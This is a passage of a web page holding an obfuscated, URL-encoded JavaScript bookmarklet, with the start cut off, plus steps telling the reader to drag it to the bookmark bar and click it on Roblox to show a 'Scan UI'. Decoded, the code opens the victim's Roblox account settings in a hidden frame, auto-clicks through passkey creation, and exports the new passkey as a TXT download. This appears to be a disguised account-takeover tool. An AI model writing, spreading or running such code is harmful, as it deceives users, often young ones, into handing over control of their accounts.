F%20__S%2897%2C117%2C116%2C111%29%20%3A%20__S%28110%2C111%2C110%2C101%29%3B%20readyDialogs.forEach%28dialog%20%3D%3E%20%7B%20dialog.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C100%2C105%2C97%2C108%2C111%2C103%29%2C%20__S%28%29%29%3B%20if%20%28dialog.parentElement%3F.classList.contains%28__S%28102%2C111%2C117%2C110%2C100%2C97%2C116%2C105%2C111%2C110%2C45%2C119%2C101%2C98%2C45%2C100%2C105%2C97%2C108%2C111%2C103%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%29%29%29%20dialog.parentElement.setAttribute%28__S%28100%2C97%2C116%2C97%2C45%2C110%2C97%2C116%2C105%2C118%2C101%2C45%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C45%2C111%2C118%2C101%2C114%2C108%2C97%2C121%29%2C%20__S%28%29%29%3B%20%7D%29%3B%20if%20%28readyDialogs.length%29%20revealed%20%3D%20true%3B%20if%20%28verificationOpen%29%20%7B%20__stopScanning%28%29%3B%20__setStatus%28__S%2886%2C101%2C114%2C105%2C102%2C121%2C32%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C111%2C119%2C110%2C101%2C114%2C115%2C104%2C105%2C112%29%2C%20__S%2835%2C102%2C102%2C100%2C49%2C54%2C54%29%29%3B%20close.textContent%20%3D%20__S%2867%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C118%2C101%2C114%2C105%2C102%2C105%2C99%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20return%3B%20%7D%20if%20%28clickedAdd%20%26%26%20%28clickedContinue%20%7C%7C%20verificationSeen%29%20%26%26%20%21creationRequested%20%26%26%20%21exporterError%29%20%7B%20const%20create%20%3D%20readyDialogs.filter%28isPasskeyDialog%29.map%28dialog%20%3D%3E%20find%28dialog%2C%20createLabel%29%29.find%28Boolean%29%3B%20if%20%28create%29%20%7B%20creationRequested%20%3D%20true%3B%20close.textContent%20%3D%20__S%2867%2C114%2C101%2C97%2C116%2C105%2C110%2C103%2C32%2C97%2C110%2C100%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C105%2C110%2C103%2C32%2C116%2C104%2C101%2C32%2C110%2C101%2C119%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20create.click%28%29%3B%20return%3B%20%7D%20%7D%20if%20%28exporterError%29%20return%3B%20close.textContent%20%3D%20generated%20%3F%20__S%2884%2C88%2C84%2C32%2C100%2C111%2C119%2C110%2C108%2C111%2C97%2C100%2C32%2C114%2C101%2C113%2C117%2C101%2C115%2C116%2C101%2C100%2C59%2C32%2C119%2C97%2C105%2C116%2C105%2C110%2C103%2C32%2C102%2C111%2C114%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C114%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%20%3A%20creationRequested%20%3F%20__S%2887%2C97%2C105%2C116%2C105%2C110%2C103%2C32%2C102%2C111%2C114%2C32%2C115%2C111%2C102%2C116%2C119%2C97%2C114%2C101%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%20%3A%20verificationSeen%20%3F%20__S%2887%2C97%2C105%2C116%2C105%2C110%2C103%2C32%2C102%2C111%2C114%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C99%2C114%2C101%2C97%2C116%2C105%2C111%2C110%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%20%3A%20__S%2867%2C111%2C109%2C112%2C108%2C101%2C116%2C101%2C32%2C116%2C104%2C101%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C32%2C112%2C114%2C111%2C109%2C112%2C116%2C32%2C226%2C128%2C148%2C32%2C67%2C108%2C111%2C115%2C101%29%3B%20%7D%20catch%20%7B%20fail%28__S%2884%2C104%2C101%2C32%2C101%2C109%2C98%2C101%2C100%2C100%2C101%2C100%2C32%2C82%2C111%2C98%2C108%2C111%2C120%2C32%2C115%2C101%2C116%2C117%2C112%2C32%2C99%2C111%2C117%2C108%2C100%2C32%2C110%2C111%2C116%2C32%2C99%2C111%2C110%2C116%2C105%2C110%2C117%2C101%2C46%2C32%2C67%2C104%2C101%2C99%2C107%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C102%2C111%2C114%2C32%2C116%2C104%2C101%2C32%2C114%2C101%2C103%2C105%2C115%2C116%2C114%2C97%2C116%2C105%2C111%2C110%2C32%2C114%2C101%2C115%2C117%2C108%2C116%2C32%2C98%2C101%2C102%2C111%2C114%2C101%2C32%2C116%2C114%2C121%2C105%2C110%2C103%2C32%2C97%2C103%2C97%2C105%2C110%2C46%29%29%3B%20%7D%20%7D%3B%20timer%20%3D%20setInterval%28tick%2C%20250%29%3B%20if%20%28win.MutationObserver%29%20%7B%20observer%20%3D%20new%20win.MutationObserver%28tick%29%3B%20observer.observe%28doc.body%2C%20%7B%20childList%3A%20true%2C%20subtree%3A%20true%2C%20characterData%3A%20true%20%7D%29%3B%20%7D%20tick%28%29%3B%20%7D%20catch%20%7B%20fail%28__S%2882%2C111%2C98%2C108%2C111%2C120%2C32%2C98%2C108%2C111%2C99%2C107%2C101%2C100%2C32%2C116%2C104%2C101%2C32%2C101%2C109%2C98%2C101%2C100%2C100%2C101%2C100%2C32%2C115%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C112%2C97%2C103%2C101%2C46%2C32%2C79%2C112%2C101%2C110%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C83%2C101%2C116%2C116%2C105%2C110%2C103%2C115%2C32%2C62%2C32%2C65%2C99%2C99%2C111%2C117%2C110%2C116%2C32%2C73%2C110%2C102%2C111%2C32%2C62%2C32%2C76%2C111%2C103%2C105%2C110%2C32%2C77%2C101%2C116%2C104%2C111%2C100%2C115%2C32%2C116%2C111%2C32%2C99%2C114%2C101%2C97%2C116%2C101%2C32%2C97%2C32%2C112%2C97%2C115%2C115%2C107%2C101%2C121%2C46%29%29%3B%20%7D%20%7D%3B%20frame.src%20%3D%20__S%28104%2C116%2C116%2C112%2C115%2C58%2C47%2C47%2C119%2C119%2C119%2C46%2C114%2C111%2C98%2C108%2C111%2C120%2C46%2C99%2C111%2C109%2C47%2C109%2C121%2C47%2C97%2C99%2C99%2C111%2C117%2C110%2C116%2C35%2C33%2C47%2C105%2C110%2C102%2C111%29%3B%20document.body.append%28frame%29%3B%20%7D%20%7D%29%28%29%3B%20%7D%29%28%29%3B

1. Drag the “Bookmark” button
above to your Bookmark bar

2. Click the pinned Bookmark on yourRoblox page to show the Scan UI

Example browser showing the Bookmark saved in the bookmarks bar, directly below the address bar.

Press Ctrl + Shift + B to make your Bookmark bar visible if you cannot see it